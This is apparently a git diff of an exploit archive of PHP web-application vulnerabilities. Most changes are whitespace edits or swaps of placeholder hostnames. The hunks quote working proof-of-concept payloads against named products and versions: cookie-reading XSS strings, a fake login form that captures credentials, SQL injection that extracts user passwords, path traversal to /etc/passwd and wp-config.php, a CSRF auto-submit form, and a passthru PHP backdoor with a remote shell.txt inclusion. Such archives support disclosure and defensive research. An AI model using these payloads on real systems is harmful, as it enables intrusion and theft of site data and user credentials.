2.9.0 (email) Remote XSS POST Injection Vulnerability</title> </head> <body> <form name="email" method="post" action="http://www,example.com/singcms/password.php"> <input type="hidden" name="email" value='"><script>alert("XSS");</script>' /> <input type="hidden" name="send" value="Send password" /> </form> <script type="text/javascript"> document.email.submit(); </script> </body> </html> \ No newline at end of file +<html> <head> <title>SiNG cms 2.9.0 (email) Remote XSS POST Injection Vulnerability</title> </head> <body> <form name="email" method="post" action="http://www,example.com/singcms/password.php"> <input type="hidden" name="email" value='"><script>alert("XSS");</script>' /> <input type="hidden" name="send" value="Send password" /> </form> <script type="text/javascript"> document.email.submit(); </script> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/37650.txt b/platforms/php/webapps/37650.txt index 433724510..544ece09c 100755 --- a/platforms/php/webapps/37650.txt +++ b/platforms/php/webapps/37650.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc 1024 CMS 2.1.1 is vulnerable; other versions may also be affected. -http:// www.example.com/index.php?p=[SQLi] \ No newline at end of file +http:// www.example.com/index.php?p=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/37651.html b/platforms/php/webapps/37651.html index 731520a7e..769b2eb7b 100755 --- a/platforms/php/webapps/37651.html +++ b/platforms/php/webapps/37651.html @@ -55,4 +55,4 @@ document.forms["add_page"].submit(); <input type="button" value="Execute XSS 2" onClick="xss2()" /> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/php/webapps/37652.txt b/platforms/php/webapps/37652.txt index 8104bbdb2..fe690bbb8 100755 --- a/platforms/php/webapps/37652.txt +++ b/platforms/php/webapps/37652.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow KindEditor versions 4.1.2 and 4.0.6 are vulnerable; other versions may also be affected. -http://www.example.com/kindeditor/index.php?name=<pre><script>alert('XSS');</script>by ZSL!</pre> \ No newline at end of file +http://www.example.com/kindeditor/index.php?name=<pre><script>alert('XSS');</script>by ZSL!</pre> \ No newline at end of file diff --git a/platforms/php/webapps/37653.txt b/platforms/php/webapps/37653.txt index 560b86475..b84471f17 100755 --- a/platforms/php/webapps/37653.txt +++ b/platforms/php/webapps/37653.txt @@ -4,4 +4,4 @@ The Rich WidgetPlugin for WordPress is prone to an arbitrary file-upload vulnera An attacker can exploit this issue to upload arbitrary PHP code and run it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. -http://www.example.com/wp-content/plugins/rich-widget/fckeditor/editor/filemanager/connectors/test.html \ No newline at end of file +http://www.example.com/wp-content/plugins/rich-widget/fckeditor/editor/filemanager/connectors/test.html \ No newline at end of file diff --git a/platforms/php/webapps/37654.txt b/platforms/php/webapps/37654.txt index 80dda21dd..2e5ae6c5f 100755 --- a/platforms/php/webapps/37654.txt +++ b/platforms/php/webapps/37654.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to upload arbitrary code and run it i http://www.example.com/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html -http://www.example.com/hospital/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html \ No newline at end of file +http://www.example.com/hospital/wp-content/plugins/monsters-editor-10-for-wp-super-edit/mse/fckeditor/editor/filemanager/upload/test.html \ No newline at end of file diff --git a/platforms/php/webapps/37656.txt b/platforms/php/webapps/37656.txt index 50e6f68a3..1c0a13d35 100755 --- a/platforms/php/webapps/37656.txt +++ b/platforms/php/webapps/37656.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view files and execute local scrip Ad Manager Pro version 4.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd \ No newline at end of file +http://www.example.com/index.php?page=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd \ No newline at end of file diff --git a/platforms/php/webapps/3766.txt b/platforms/php/webapps/3766.txt index 7de93200c..675263b5b 100755 --- a/platforms/php/webapps/3766.txt +++ b/platforms/php/webapps/3766.txt @@ -1,4 +1,4 @@ -######################################################################## + ######################################################################## mxBB Module MX Smartor FAP 2.0 RC1 Remote File Inclusion Vulnerability diff --git a/platforms/php/webapps/37672.txt b/platforms/php/webapps/37672.txt index 9a5dae38d..6e2b1e2c4 100755 --- a/platforms/php/webapps/37672.txt +++ b/platforms/php/webapps/37672.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow JW Player 5.10.2295 and prior versions are also vulnerable. -http://www.example.com/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B \ No newline at end of file +http://www.example.com/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B \ No newline at end of file diff --git a/platforms/php/webapps/37674.txt b/platforms/php/webapps/37674.txt index 031f846c1..9b9e37496 100755 --- a/platforms/php/webapps/37674.txt +++ b/platforms/php/webapps/37674.txt @@ -4,4 +4,4 @@ PHP Web Scripts Text Exchange Pro is prone to a local file-include vulnerability An attacker can exploit this vulnerability to view files and execute local scripts in the context of the web server process. This may aid in further attacks. -http://www.example.com/textexchangepro/index.php?page=../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/textexchangepro/index.php?page=../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/37675.txt b/platforms/php/webapps/37675.txt index 6d054a0b4..4a15f3449 100755 --- a/platforms/php/webapps/37675.txt +++ b/platforms/php/webapps/37675.txt @@ -4,4 +4,4 @@ The Komento component for Joomla is prone to an SQL-injection vulnerability beca Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -www.example.com/component/komento/?view=rss&format=feed&component=com_content&cid=[id][sql injection] \ No newline at end of file +www.example.com/component/komento/?view=rss&format=feed&component=com_content&cid=[id][sql injection] \ No newline at end of file diff --git a/platforms/php/webapps/37677.txt b/platforms/php/webapps/37677.txt index 526de6f57..9d4b63dc5 100755 --- a/platforms/php/webapps/37677.txt +++ b/platforms/php/webapps/37677.txt @@ -4,4 +4,4 @@ The Finder plugin for WordPress is prone to a cross-site scripting vulnerability An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/wp-content/plugins/finder/index.php?by=type&dir=tv&order=%22%3E%3Cscript%3Ealert(0);%3C/script%3E \ No newline at end of file +http://www.example.com/wp-content/plugins/finder/index.php?by=type&dir=tv&order=%22%3E%3Cscript%3Ealert(0);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37679.txt b/platforms/php/webapps/37679.txt index c5ff70b72..609d60ddc 100755 --- a/platforms/php/webapps/37679.txt +++ b/platforms/php/webapps/37679.txt @@ -10,4 +10,4 @@ http://www.example.com/cat.php?cid=%22%3E%3Cscript%3Ealert(0);%3C/script%3E http://www.example.com/cat.php?cid=%22%3E%3Cscript%3Ealert(0);%3C/script%3E -http://www.example.com/mobile.php?action=8&gid=&iid=145&search=%22%3E%3Cscript%3Ealert(0);%3C/script%3E \ No newline at end of file +http://www.example.com/mobile.php?action=8&gid=&iid=145&search=%22%3E%3Cscript%3Ealert(0);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37680.txt b/platforms/php/webapps/37680.txt index fe85e8f9a..13b372a56 100755 --- a/platforms/php/webapps/37680.txt +++ b/platforms/php/webapps/37680.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Mihalism Multi Host 5.0 is vulnerable; other versions may also be affected. -http://www.example.com/users.php?act=register&return=/><sCrIpT>alert('Explo!ter')</sCrIpT> \ No newline at end of file +http://www.example.com/users.php?act=register&return=/><sCrIpT>alert('Explo!ter')</sCrIpT> \ No newline at end of file diff --git a/platforms/php/webapps/37681.txt b/platforms/php/webapps/37681.txt index c8cb375cc..facd8174a 100755 --- a/platforms/php/webapps/37681.txt +++ b/platforms/php/webapps/37681.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view local files in the context of http://www.example.com/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=../../../../../wp-config.php -http://www.example.com/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=../../../../../wp-login.php \ No newline at end of file +http://www.example.com/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=../../../../../wp-login.php \ No newline at end of file diff --git a/platforms/php/webapps/37682.txt b/platforms/php/webapps/37682.txt index 204f02679..ec7074b3b 100755 --- a/platforms/php/webapps/37682.txt +++ b/platforms/php/webapps/37682.txt @@ -4,4 +4,4 @@ The Simple:Press Forum plugin is prone to a vulnerability that lets attackers up An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. -http://www.example.com/wp/wp-content/plugins/simple-forum/forum/uploader/sf-uploader.php?id=4&folder=uploads/forum/petas \ No newline at end of file +http://www.example.com/wp/wp-content/plugins/simple-forum/forum/uploader/sf-uploader.php?id=4&folder=uploads/forum/petas \ No newline at end of file diff --git a/platforms/php/webapps/37683.txt b/platforms/php/webapps/37683.txt index efacb441c..35886b634 100755 --- a/platforms/php/webapps/37683.txt +++ b/platforms/php/webapps/37683.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Phorum 5.2.18 is vulnerable; other versions may also be affected. -http://www.example.com/control.php?0,panel=groupmod,group=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/control.php?0,panel=groupmod,group=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37684.html b/platforms/php/webapps/37684.html index f1a7b20d4..ef1c42070 100755 --- a/platforms/php/webapps/37684.html +++ b/platforms/php/webapps/37684.html @@ -4,4 +4,4 @@ PrestaShop is prone to multiple cross-site scripting vulnerabilities because it An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -<form action="http://[host]/[ADMIN_PANEL]/ajax.php" method="post"> <input type="hidden" name="ajaxProductsPositions" value='' /> <input type="hidden" name="id_product" value='1' /> <input type="hidden" name="id_category" value='1' /> <input type="hidden" name='product[<form action="/[ADMIN_PANEL]/login.php" method="post"><input type="text" id="email" name="email" value="" class="input"/><input id="passwd" type="password" name="passwd" class="input" value=""/></form><script>function hackfunc() { alert("Your Login: "+document.getElementById("email").value+"\nYour Password: "+document.getElementById("passwd").value); } setTimeout("hackfunc()", 1000);</script>]' value='1_1_1' /> <input type="submit" id="btn"> </form> \ No newline at end of file +<form action="http://[host]/[ADMIN_PANEL]/ajax.php" method="post"> <input type="hidden" name="ajaxProductsPositions" value='' /> <input type="hidden" name="id_product" value='1' /> <input type="hidden" name="id_category" value='1' /> <input type="hidden" name='product[<form action="/[ADMIN_PANEL]/login.php" method="post"><input type="text" id="email" name="email" value="" class="input"/><input id="passwd" type="password" name="passwd" class="input" value=""/></form><script>function hackfunc() { alert("Your Login: "+document.getElementById("email").value+"\nYour Password: "+document.getElementById("passwd").value); } setTimeout("hackfunc()", 1000);</script>]' value='1_1_1' /> <input type="submit" id="btn"> </form> \ No newline at end of file diff --git a/platforms/php/webapps/37687.txt b/platforms/php/webapps/37687.txt index 31514cff3..84ec0453d 100755 --- a/platforms/php/webapps/37687.txt +++ b/platforms/php/webapps/37687.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow TomatoCart 1.1.7 is vulnerable; other versions may also be affected. -http://www.example.com/with/tomato/ext/secureimage/example_from.ajax.php/"></script><whatever.now> \ No newline at end of file +http://www.example.com/with/tomato/ext/secureimage/example_from.ajax.php/"></script><whatever.now> \ No newline at end of file diff --git a/platforms/php/webapps/37690.txt b/platforms/php/webapps/37690.txt index 9c9b4f911..cfbff87ed 100755 --- a/platforms/php/webapps/37690.txt +++ b/platforms/php/webapps/37690.txt @@ -4,4 +4,4 @@ Crowbar is prone to multiple cross-site scripting vulnerabilities because it fai An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/utils?waiting=true&file=foo'%3B})% 3B}alert(document.cookie)</script><!-- \ No newline at end of file +http://www.example.com/utils?waiting=true&file=foo'%3B})% 3B}alert(document.cookie)</script><!-- \ No newline at end of file diff --git a/platforms/php/webapps/37691.txt b/platforms/php/webapps/37691.txt index a0ccc90bb..ba429083e 100755 --- a/platforms/php/webapps/37691.txt +++ b/platforms/php/webapps/37691.txt @@ -12,4 +12,4 @@ http://www.example.com/sugarcrm/vcal_server.php?type=vfb&user_name=will http://www.example.com/sugarcrm/ical_server.php?type=ics&key=&email=will@example.com -http://www.example.com/sugarcrm/ical_server.php?type=ics&key=&user_name=will \ No newline at end of file +http://www.example.com/sugarcrm/ical_server.php?type=ics&key=&user_name=will \ No newline at end of file diff --git a/platforms/php/webapps/37693.txt b/platforms/php/webapps/37693.txt index 72f248d68..4eb82ebdf 100755 --- a/platforms/php/webapps/37693.txt +++ b/platforms/php/webapps/37693.txt @@ -8,4 +8,4 @@ Sitemax Maestro 2.0 is vulnerable; other versions may also be affected. http://www.example.com/pages.php?al=100000000000000000000000000' or (select floor(rand(0)*2) from(select count(*),concat((select concat(user_name,0x7c,user_password) from sed_users limit 1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- AND 1='1 -http://www.example.com/swlang.php?lang=../../datas/users/file.gif%00&redirect= \ No newline at end of file +http://www.example.com/swlang.php?lang=../../datas/users/file.gif%00&redirect= \ No newline at end of file diff --git a/platforms/php/webapps/37694.txt b/platforms/php/webapps/37694.txt index ecaa15265..d647ea311 100755 --- a/platforms/php/webapps/37694.txt +++ b/platforms/php/webapps/37694.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application and Wiki Web Help 0.3.11 is vulnerable; other versions may also be affected. -http://www.example.com/wwh/pages/links.php?configpath=http://www.example2.com/shell.txt? \ No newline at end of file +http://www.example.com/wwh/pages/links.php?configpath=http://www.example2.com/shell.txt? \ No newline at end of file diff --git a/platforms/php/webapps/37695.txt b/platforms/php/webapps/37695.txt index 37250faa4..b670652df 100755 --- a/platforms/php/webapps/37695.txt +++ b/platforms/php/webapps/37695.txt @@ -10,4 +10,4 @@ Post Data: dbuser_user_email=admin%40domain.com%27+and+99%3D99--+and+0%3D%270&dbuser_user_password=WILL_BYPASS_IT_LIKE_2X2&login=Login Example URL: -http://www.example.com/index.php?module=user&content=execute&execute=user_account_activation&user_email=pipi@pipi.com%27%20or%20sleep%2810%29--%20and%205=%275&activation_key=TS0nz4hLVgZ83mrvgtPS \ No newline at end of file +http://www.example.com/index.php?module=user&content=execute&execute=user_account_activation&user_email=pipi@pipi.com%27%20or%20sleep%2810%29--%20and%205=%275&activation_key=TS0nz4hLVgZ83mrvgtPS \ No newline at end of file diff --git a/platforms/php/webapps/37713.txt b/platforms/php/webapps/37713.txt index b6d197839..af576a336 100755 --- a/platforms/php/webapps/37713.txt +++ b/platforms/php/webapps/37713.txt @@ -72,4 +72,4 @@ http://localhost/2Moons-master.zip ** Remove the externalAuthMethod Permanently ** ** No solution yet from vendor ** //\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\ -//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\ \ No newline at end of file +//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\ \ No newline at end of file diff --git a/platforms/php/webapps/3773.txt b/platforms/php/webapps/3773.txt index 8948012bf..5a1080e0c 100755 --- a/platforms/php/webapps/3773.txt +++ b/platforms/php/webapps/3773.txt @@ -1,4 +1,4 @@ -Y! Underground Group + Y! Underground Group http://2600.ir diff --git a/platforms/php/webapps/3774.txt b/platforms/php/webapps/3774.txt index e5efa831f..1c4bdc3da 100755 --- a/platforms/php/webapps/3774.txt +++ b/platforms/php/webapps/3774.txt @@ -1,4 +1,4 @@ -Y! Underground Group + Y! Underground Group http://2600.ir diff --git a/platforms/php/webapps/3775.txt b/platforms/php/webapps/3775.txt index 9160a7547..7dff59e11 100755 --- a/platforms/php/webapps/3775.txt +++ b/platforms/php/webapps/3775.txt @@ -21,14 +21,14 @@ + <html><head><Title>---===Maran PHP Forum===------===Dj7xpl===---</title></head> + + <body bgcolor="red"> + + <center> + -+ <form name="AimStats" method="post" action="http://server/path to site/forum_write.php"> + ++ <form name="AimStats" method="post" action="http://site.com/path to site/forum_write.php"> + + <input name="name" value="<?passthru($_GET[cmd])?>" type="text" > + + <input name="page" value="pagename.php%00" type="text" > + + <input type="submit" name="Submit" value="Submit" > + + </form><br><br> + + <font color="#C0FF3E" size="+1"> Please change Target And Run This Script</font><br> + + <font color="#C0FF3E" size="+1"> Backdoor : http://[Target]/[Path]/data/pagename.php?cmd=shell</font></br> + -+ <font color="#C0FF3E" size="+1"> E.g : http://server/forum/data/filename.php?cmd=ls -la</font> + ++ <font color="#C0FF3E" size="+1"> E.g : http://site.com/forum/data/filename.php?cmd=ls -la</font> + + </center> + + </body> + + </html> + diff --git a/platforms/php/webapps/37769.txt b/platforms/php/webapps/37769.txt index 446ca0707..0c40d6ab0 100755 --- a/platforms/php/webapps/37769.txt +++ b/platforms/php/webapps/37769.txt @@ -26,5 +26,5 @@ if($fileout!=""){ ------------------------------ Exploit Code: -server/plugins/gkplugins_picasaweb/plugins/plugins_player.php?f=../../../index.php +site.com/plugins/gkplugins_picasaweb/plugins/plugins_player.php?f=../../../index.php diff --git a/platforms/php/webapps/37779.txt b/platforms/php/webapps/37779.txt index 1d7893e0a..512195cf4 100755 --- a/platforms/php/webapps/37779.txt +++ b/platforms/php/webapps/37779.txt @@ -8,4 +8,4 @@ Flogr 2.5.6 is vulnerable; prior versions may also be affected. http://www.example.com/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E/ -http://www.example.com/index.php?[any]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?[any]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/3778.txt b/platforms/php/webapps/3778.txt index 38605f18f..f0fef9786 100755 --- a/platforms/php/webapps/3778.txt +++ b/platforms/php/webapps/3778.txt @@ -89,7 +89,7 @@ sub header(){ sub usage() { print "\n Usage: perl $0 <host> <dir> <shell>"; - print "\n Example: perl $0 www.victim.com /pathtofm http://www.otherserver/shell.txt\n\n"; + print "\n Example: perl $0 www.victim.com /pathtofm http://www.othersite.com/shell.txt\n\n"; } # milw0rm.com [2007-04-23] diff --git a/platforms/php/webapps/37781.txt b/platforms/php/webapps/37781.txt index ba22cb033..511b1d6b7 100755 --- a/platforms/php/webapps/37781.txt +++ b/platforms/php/webapps/37781.txt @@ -8,4 +8,4 @@ ExtCalendar 2.0 is vulnerable; other versions may also be affected. http://www.example.com/calendar.php?mode=view&id={SQL} http://www.example.com/calendar.php?mode=cat&cat_id={SQL} -http://www.example.com/calendar/cal_popup.php?mode=view&id={SQL} \ No newline at end of file +http://www.example.com/calendar/cal_popup.php?mode=view&id={SQL} \ No newline at end of file diff --git a/platforms/php/webapps/37787.txt b/platforms/php/webapps/37787.txt index 475470289..03c7a9c4d 100755 --- a/platforms/php/webapps/37787.txt +++ b/platforms/php/webapps/37787.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Download Monitor 3.3.5.7 is vulnerable; other versions may also be affected. -GET /wp/?dlsearch=">alert('xsstest') HTTP/1.1 \ No newline at end of file +GET /wp/?dlsearch=">alert('xsstest') HTTP/1.1 \ No newline at end of file diff --git a/platforms/php/webapps/37789.txt b/platforms/php/webapps/37789.txt index aa6b67907..788624daf 100755 --- a/platforms/php/webapps/37789.txt +++ b/platforms/php/webapps/37789.txt @@ -12,4 +12,4 @@ https://www.example.com/admin/volumes_iscsi_targets.html?targetName="><script>al https://www.example.com/phpinfo.html -https://www.example.com/uptime.html \ No newline at end of file +https://www.example.com/uptime.html \ No newline at end of file diff --git a/platforms/php/webapps/37790.txt b/platforms/php/webapps/37790.txt index e845c7e43..89b03db86 100755 --- a/platforms/php/webapps/37790.txt +++ b/platforms/php/webapps/37790.txt @@ -10,4 +10,4 @@ http://www.example.com/warstats/playerdetails.php?id=13' http://www.example.com/playerdetails.php?id=9' -http://www.example.com/il2-stats/playerdetails.php?id=29' \ No newline at end of file +http://www.example.com/il2-stats/playerdetails.php?id=29' \ No newline at end of file diff --git a/platforms/php/webapps/37804.txt b/platforms/php/webapps/37804.txt index 904d92e9d..30df46a6b 100755 --- a/platforms/php/webapps/37804.txt +++ b/platforms/php/webapps/37804.txt @@ -10,4 +10,4 @@ htp://www.example.com/index.php?c=[XSS] htp://www.example.com/PAth/index.php?s=[XSS] htp://www.example.com/PAth/index.php?s=y&id=[XSS] htp://www.example.com/PAth/index.php?m=[XSS] -htp://www.example.com/PAth/index.php?d=[XSS] \ No newline at end of file +htp://www.example.com/PAth/index.php?d=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37805.txt b/platforms/php/webapps/37805.txt index 90279f681..1f559f78f 100755 --- a/platforms/php/webapps/37805.txt +++ b/platforms/php/webapps/37805.txt @@ -8,4 +8,4 @@ http://www.example.com/gallery.php?cid=124'&pid=124 http://www.example.com/gallery.php?cat_id=17&cid='&pid=&img=1 -http://www.example.com/gallery.php?cid=124'&pid=124 \ No newline at end of file +http://www.example.com/gallery.php?cid=124'&pid=124 \ No newline at end of file diff --git a/platforms/php/webapps/37807.txt b/platforms/php/webapps/37807.txt index f055861eb..dc07dcd9d 100755 --- a/platforms/php/webapps/37807.txt +++ b/platforms/php/webapps/37807.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access VBulletin 4.1.12 is vulnerable; other versions may also be affected. -http://www.example.com/includes/blog_plugin_useradmin.php?do=usercss&amp;u=[Sql] \ No newline at end of file +http://www.example.com/includes/blog_plugin_useradmin.php?do=usercss&amp;u=[Sql] \ No newline at end of file diff --git a/platforms/php/webapps/37828.txt b/platforms/php/webapps/37828.txt index bb7215a88..d12005f5b 100755 --- a/platforms/php/webapps/37828.txt +++ b/platforms/php/webapps/37828.txt @@ -4,4 +4,4 @@ Poweradmin is prone to a cross-site scripting vulnerability because it fails to An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/index.php/%3E%22%3E%3CScRiPt%3Ealert%28415833140173%29%3C/ScRiPt%3E \ No newline at end of file +http://www.example.com/index.php/%3E%22%3E%3CScRiPt%3Ealert%28415833140173%29%3C/ScRiPt%3E \ No newline at end of file diff --git a/platforms/php/webapps/37829.txt b/platforms/php/webapps/37829.txt index ddad09717..6d2896837 100755 --- a/platforms/php/webapps/37829.txt +++ b/platforms/php/webapps/37829.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MF Gig Calendar 0.9.4.1 is vulnerable; other versions may also be affected. -GET /wp/?page_id=2&"><script>alert('xsstest')</script> HTTP/1.1 \ No newline at end of file +GET /wp/?page_id=2&"><script>alert('xsstest')</script> HTTP/1.1 \ No newline at end of file diff --git a/platforms/php/webapps/37835.html b/platforms/php/webapps/37835.html index d98c316ab..491e7bd3f 100755 --- a/platforms/php/webapps/37835.html +++ b/platforms/php/webapps/37835.html @@ -6,4 +6,4 @@ Exploiting this issue may allow a remote attacker to perform certain actions in WordPress 3.4.2 is vulnerable; other versions may also be affected. -<body onload="javascript:document.forms[0].submit()"> <form action="http://TARGET_GOES_HERE/wp-admin/?edit=dashboard_incoming_links#dashboard_incoming_links" method="post" class="dashboard-widget-control-form"> <h1>How Many Girls You Have? xD))</h1> <!-- Idea for you: Iframe it --> <input name="widget-rss[1][url]" type="hidden" value="http://THINK_YOUR_SELF_HOW_YOU_CAN_USE_IT/test.php" /> <select id="rss-items-1" name="widget-rss[1][items]"> <option value='1' >1</option> <option value='2' >2</option> <option value='3' >3</option><option value='4' >4</option> <option value='5' >5</option> <option value='6' >6</option> <option value='7' >7</option> <option value='8' >8</option> <option value='9' >9</option> <option value='10' >10</option> <option value='11' >11</option> <option value='12' >12</option> <option value='13' >13</option> <option value='14' >14</option> <option value='15' >15</option> <option value='16' >16</option> <option value='17' >17</option> <option value='18' >18</option> <option value='19' >19</option> <option value='20' selected='selected'>20</option> </select> <input id="rss-show-date-1" name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/> <input type="hidden" name="widget_id" value="dashboard_incoming_links" /> </form> \ No newline at end of file +<body onload="javascript:document.forms[0].submit()"> <form action="http://TARGET_GOES_HERE/wp-admin/?edit=dashboard_incoming_links#dashboard_incoming_links" method="post" class="dashboard-widget-control-form"> <h1>How Many Girls You Have? xD))</h1> <!-- Idea for you: Iframe it --> <input name="widget-rss[1][url]" type="hidden" value="http://THINK_YOUR_SELF_HOW_YOU_CAN_USE_IT/test.php" /> <select id="rss-items-1" name="widget-rss[1][items]"> <option value='1' >1</option> <option value='2' >2</option> <option value='3' >3</option><option value='4' >4</option> <option value='5' >5</option> <option value='6' >6</option> <option value='7' >7</option> <option value='8' >8</option> <option value='9' >9</option> <option value='10' >10</option> <option value='11' >11</option> <option value='12' >12</option> <option value='13' >13</option> <option value='14' >14</option> <option value='15' >15</option> <option value='16' >16</option> <option value='17' >17</option> <option value='18' >18</option> <option value='19' >19</option> <option value='20' selected='selected'>20</option> </select> <input id="rss-show-date-1" name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/> <input type="hidden" name="widget_id" value="dashboard_incoming_links" /> </form> \ No newline at end of file diff --git a/platforms/php/webapps/37896.txt b/platforms/php/webapps/37896.txt index ae9592d51..8554eab26 100755 --- a/platforms/php/webapps/37896.txt +++ b/platforms/php/webapps/37896.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow ABC Test 0.1 is vulnerable; other versions may also be affected. -http://www.example.com/blog/wp-admin/admin.php?page=abctest&do=edit&id=%22%3E%3Ch1 %3EXSS%3C/h1 \ No newline at end of file +http://www.example.com/blog/wp-admin/admin.php?page=abctest&do=edit&id=%22%3E%3Ch1 %3EXSS%3C/h1 \ No newline at end of file diff --git a/platforms/php/webapps/37899.txt b/platforms/php/webapps/37899.txt index 632f39c1d..aacbbb656 100755 --- a/platforms/php/webapps/37899.txt +++ b/platforms/php/webapps/37899.txt @@ -22,4 +22,4 @@ Review: Setup -> Incoming Calls -> Caller DID routes -> Create Single DID Route PoC:<iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe> Review: Setup -> Incoming Calls -> Caller ID Rules -> Create Call transfer Call [Note] -PoC: <iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe> \ No newline at end of file +PoC: <iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe> \ No newline at end of file diff --git a/platforms/php/webapps/37901.txt b/platforms/php/webapps/37901.txt index 878d344ab..10b312895 100755 --- a/platforms/php/webapps/37901.txt +++ b/platforms/php/webapps/37901.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc AlamFifa CMS 1.0 Beta is vulnerable; other versions may also be affected. -user_name_cookie=test' LIMIT 0,1 UNION ALL SELECT 93,93,CONCAT(0x3a6b63733a,0x50766e44664451645753,0x3a6165683a),93,93,93#; \ No newline at end of file +user_name_cookie=test' LIMIT 0,1 UNION ALL SELECT 93,93,CONCAT(0x3a6b63733a,0x50766e44664451645753,0x3a6165683a),93,93,93#; \ No newline at end of file diff --git a/platforms/php/webapps/37903.txt b/platforms/php/webapps/37903.txt index 7db524421..1b9e8e711 100755 --- a/platforms/php/webapps/37903.txt +++ b/platforms/php/webapps/37903.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Zenphoto 1.4.3.2 is vulnerable; prior versions may also be affected. -http://www.example.com/zp-core/zp-extensions/zenpage/admin-news-articles.php?date=%22%3E%3Cscript%3Ealert%28%27Cookie%20sealing%20Javascript%27%29;%3C/script%3E%3C> \ No newline at end of file +http://www.example.com/zp-core/zp-extensions/zenpage/admin-news-articles.php?date=%22%3E%3Cscript%3Ealert%28%27Cookie%20sealing%20Javascript%27%29;%3C/script%3E%3C> \ No newline at end of file diff --git a/platforms/php/webapps/37904.txt b/platforms/php/webapps/37904.txt index c7d9dc4de..908089cf1 100755 --- a/platforms/php/webapps/37904.txt +++ b/platforms/php/webapps/37904.txt @@ -22,4 +22,4 @@ http://www.example.com/mailertest/admin/contacts.php?op=edit&id=3&form_id=2&apos http://www.example.com/mailertest/users/index.php?profile=1&form_id=2&apos;[SQLi] -http://www.example.com/mailertest/users/register.php?form_id=2&apos;[SQLi] \ No newline at end of file +http://www.example.com/mailertest/users/register.php?form_id=2&apos;[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/37934.txt b/platforms/php/webapps/37934.txt index 573d83ca0..b161f3928 100755 --- a/platforms/php/webapps/37934.txt +++ b/platforms/php/webapps/37934.txt @@ -8,4 +8,4 @@ Shopp 1.0.17 is vulnerable; other versions may also be affected. 